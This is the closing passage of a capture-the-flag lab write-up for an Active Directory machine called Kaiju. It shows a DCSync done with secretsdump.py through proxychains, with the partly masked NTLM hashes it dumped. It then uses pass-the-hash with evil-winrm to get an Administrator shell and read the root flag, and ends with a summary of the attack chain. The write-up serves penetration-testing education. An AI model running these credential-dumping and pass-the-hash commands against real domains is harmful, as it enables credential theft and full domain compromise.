[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:88  ...  OK
[*] Got TGT
[*] Saving credential cache to 'bersrv100.ccache'
[*] Wrote credential cache to 'bersrv100.ccache'
[*] Trying to retrieve NT hash for 'bersrv100$'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:88  ...  OK
[*] Got hash for 'bersrv100$@kaiju.vl': aad3b435b51404eeaad3b435b51404ee:183a*********************ce1b

We’ve obtained the BERSRV100$ machine account’s NT hash, and you can perform a DCSync by authenticating as BERSRV100$ using Pass-the-Hash:


elswix@ubuntu$ proxychains4 secretsdump.py 'kaiju.vl/bersrv100$@BERSRV100.kaiju.vl' -just-dc-ntlm -hashes :************
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:445  ...  OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.221.53:49668  ...  OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b46**********************f40:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6**************0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:********************:::
kaiju.vl\sasrv200:1104:aad3b435b51404eeaad3b435b51404ee:0049f30************f5fa:::
kaiju.vl\Rebecca.Lewis:1106:aad3b435b51404eeaad3b435b51404ee:****************:::
...[snip]...
^C[-] 
Delete resume session file? [y/N] N
[*] Cleaning up...

Of course, I canceled the operation since there are 205 users. Now that we have the Administrator NT hash, we can access the DC via WinRM if we want:


elswix@ubuntu$ proxychains4 -q evil-winrm -i bersrv100.kaiju.vl -u administrator -H 0b46**********************f40

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

You can also read the last flag, root.txt:


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
VL{92**************0e}
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

Conclusion


Kaiju highlights how seemingly small misconfigurations can be combined into a complete attack path leading to full domain compromise. Starting from an exposed FTP service and weak FileZilla configurations, we escalated through credential reuse, abused group memberships, extracted secrets from KeePass, and finally leveraged an ADCS ESC8 misconfiguration to gain control over the domain.


This lab is a great example of how different techniques, lateral movement, tunneling, and certificate abuse can come together in a realistic Active Directory environment.